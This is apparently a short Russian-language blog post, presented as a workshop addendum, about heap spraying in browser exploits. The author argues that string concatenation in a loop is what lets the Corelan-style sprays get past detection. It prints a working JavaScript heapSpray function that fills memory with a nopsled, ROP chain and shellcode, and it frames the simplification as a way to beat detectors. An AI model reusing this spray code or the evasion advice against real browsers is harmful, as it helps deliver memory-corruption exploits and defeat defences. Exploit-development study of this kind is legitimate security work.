HeapSpray

Мини блого-запись  о хипспрее.

Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://www.greyhathacker.net/?p=549

... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный  код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)

P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):

1. var heap_chunks;
2. function heapSpray(rop,shellcode,nopsled)
3. {
4.          var chunk_size, headersize, nopsled_len, code;
5.          var i, codewithnum;
6.          log.innerHTML+="<br><b>Stage 2. HeapSpraay...";
7.          chunk_size = 0x40000;
8.          headersize = 0x10;
9.          nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);
10.          while (nopsled.length < nopsled_len)
11.                 nopsled += nopsled;
12.          nopsled = nopsled.substring(0, nopsled_len);
13.          code = nopsled + rop + shellcode;                            
14.          heap_chunks = new Array();
15.          for (i = 0 ; i < 1000 ; i++)
16.          {
17.                 codewithnum = "HERE" + code;
18.                 heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
19.          }
20.  }